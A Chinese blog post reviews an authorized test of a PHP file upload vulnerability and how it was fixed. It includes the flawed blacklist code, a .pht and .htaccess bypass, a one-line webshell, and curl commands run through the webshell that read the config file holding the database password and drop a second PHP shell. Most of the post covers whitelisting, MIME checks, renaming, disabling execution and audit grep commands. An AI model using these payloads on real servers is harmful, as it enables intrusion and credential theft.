一次文件上传漏洞的完整复盘:从绕过到修复

Web安全 · 8 分钟阅读· 17 次阅读

去年帮朋友看他那个 CMS 的后台,发现了一个文件上传漏洞。整个攻击链不复杂,但很典型,写下来当案例。

所有测试都在他本地的测试环境里做的,拿到了授权。

一、漏洞点

上传接口是这样:

$ext = strtolower(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION));
$blocked = ['php', 'php3', 'php4', 'php5', 'phtml'];
if (in_array($ext, $blocked)) {
    die('不允许的文件类型');
}
move_uploaded_file($_FILES['file']['tmp_name'], 'uploads/' . $_FILES['file']['name']);

三个问题,从轻到重:

  1. 黑名单不全(漏了 php7、pht、.htaccess、phar)
  2. 没有校验 MIME / 文件内容
  3. 直接用原文件名保存,没有重命名

第三条是最致命的。

二、绕过过程

第一步:试扩展名

.php 被拦。但服务器是 Apache + PHP-FPM,AddType 配置里带了 application/x-httpd-php .php .phtml .php5,而黑名单里漏了 php7——不过 php7 这个扩展默认不解析。

真正能用的是 .pht:Apache 默认配置里 .pht 被映射到 PHP。黑名单里没有。

上传 shell.pht,访问 /uploads/shell.pht——直接执行了。

第二步:拿 shell

上传一个极简的 webshell(测试环境,只执行 id):

<?php echo shell_exec($_GET['c']); ?>

访问 /uploads/shell.pht?c=id,返回 uid=33(www-data)。

到这里服务器已经失守了。

第三步:看看能走多远

# 读配置文件
curl "http://target/uploads/shell.pht?c=cat%20../config.php"

数据库密码明文。

# 写 SSH key
curl "http://target/uploads/shell.pht?c=echo%20'%3C?php%20system(\$_GET[1]);?%3E'%20%3E%20/tmp/x.php"

因为是 www-data,写不了 /root,但能写 web 目录,能读所有 web 文件,能连数据库。

从上传到完全控制,五分钟。

三、还有一个更隐蔽的入口

测试过程中我发现,就算把扩展名黑名单补全,还有一个洞:.htaccess 上传。

如果 Apache 开启了 AllowOverride All,攻击者可以上传一个 .htaccess:

AddType application/x-httpd-php .jpg

然后上传 shell.jpg,它就会被当 PHP 执行。

这个思路的价值在于:黑名单永远补不全,因为你能想到的扩展名和服务器能解析的扩展名不是同一个集合。

四、正确的修复

正确的做法不是补黑名单,是白名单 + 重命名 + 移出 web 根。

1. 白名单

$allowed = [
    'jpg'  => 'image/jpeg',
    'jpeg' => 'image/jpeg',
    'png'  => 'image/png',
    'gif'  => 'image/gif',
    'webp' => 'image/webp',
    'pdf'  => 'application/pdf',
    'zip'  => 'application/zip',
];

$ext = strtolower(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION));
if (!isset($allowed[$ext])) {
    die('不支持的文件类型');
}

2. 校验真实 MIME

扩展名可以伪造,要看内容:

$finfo = new finfo(FILEINFO_MIME_TYPE);
$realMime = $finfo->file($_FILES['file']['tmp_name']);
if ($realMime !== $allowed[$ext]) {
    die('文件内容与扩展名不符');
}

注意:zip 的 MIME 在不同系统上可能是 application/zip 或 application/x-zip-compressed,要兼容。

图片还可以进一步用 getimagesize() 验证:

if (in_array($ext, ['jpg', 'jpeg', 'png', 'gif', 'webp']) && !@getimagesize($_FILES['file']['tmp_name'])) {
    die('不是有效的图片');
}

3. 重命名,不要用原文件名

$newName = bin2hex(random_bytes(16)) . '.' . $ext;

原文件名只存进数据库,用于展示下载时的 Content-Disposition。

重命名能挡掉绝大多数攻击,因为攻击者无法预测文件路径,即使文件可执行也访问不到。

4. 存储目录不要有执行权限

这是最后一道防线。Nginx:

location ^~ /uploads/ {
    location ~ \.(php|php7|pht|phtml|phar)$ {
        deny all;
    }
    add_header Content-Disposition "attachment";
}

Apache:

<Directory "/var/www/uploads">
    php_admin_flag engine off
    Options -ExecCGI -Indexes
    RemoveHandler .php .phtml .pht .phar
    RemoveType .php .phtml .pht .phar
</Directory>

5. 更彻底:文件放 web 根之外

/var/www/app/uploads/     # 不在 web 根

下载走一个 PHP 脚本做权限判断,用 readfile() 输出:

header('Content-Type: ' . $mime);
header('Content-Disposition: attachment; filename="' . $safeName . '"');
readfile('/var/www/app/uploads/' . $storedName);

这样即使文件被上传成 .php,也永远不会被当成脚本执行。

五、检测这类漏洞的方法

我在做审计时的检查清单:

# 1. 找所有上传点
grep -rn "move_uploaded_file\|\$_FILES" --include="*.php" .

# 2. 看有没有重命名
grep -rn "move_uploaded_file" -A 2 --include="*.php" . | grep -v "random\|uniqid\|md5"

# 3. 看有没有 MIME 校验
grep -rn "finfo\|getimagesize\|\$_FILES.*type" --include="*.php" .

# 4. 看上传目录有没有执行权限
ls -la uploads/
curl -I http://target/uploads/test.php  # 应该返回 403

六、这件事之后我改的习惯

  1. 所有上传一律白名单,哪怕只是「临时用一下」
  2. 上传目录永远不给执行权限,这是零成本的
  3. 文件名永远重命名,原文件名只用于展示
  4. 测试上传点的时候,先传一个 .pht,比试 .php 有效

最后一点值得说明:很多人测上传只试 .php,被拦了就以为安全了。服务器能解析的扩展名比你想的多。测试时应该看服务器的配置(httpd.conf 里的 AddType、AddHandler),而不是猜。

七、一句提醒

这篇文章里提到的所有手法,都是公开的、基础的,任何一个学过 Web 安全的人都知道。

真正的差距不在「知道怎么打」,而在「有没有人认真检查自己的代码」。

我朋友那个站,漏洞存在了两年,日志里其实有扫描记录(GET /uploads/shell.pht 的 404 请求),但没人看日志。

评论 (0)

还没有评论,来说两句吧~

发表评论

验证码

提交后需站长审核,通过后才会显示。